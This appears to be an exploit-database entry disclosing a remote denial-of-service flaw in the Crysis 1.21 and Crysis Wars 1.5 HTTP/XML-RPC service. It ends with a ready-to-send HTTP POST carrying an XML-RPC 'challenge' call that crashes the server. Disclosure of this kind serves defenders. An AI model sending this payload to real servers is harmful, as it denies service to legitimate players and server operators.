Crysis 1.21/1.5 - HTTP/XML-RPC Service Access Violation Remote Denial of Service

Author: Luigi Auriemma
type: dos
platform: multiple
port: 
date_added: 2009-06-20 
date_updated: 2014-04-30 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/35735/info

Crysis is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected application, denying further service to legitimate users. Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

The following are affected:

Crysis 1.21 and prior versions
Crysis Wars 1.5 and prior versions

POST /rpc2 HTTP/1.1
Content-Length: 90

<?xml version="1.0"?>
<methodCall>
  <methodName>challenge</methodName>
</methodCall>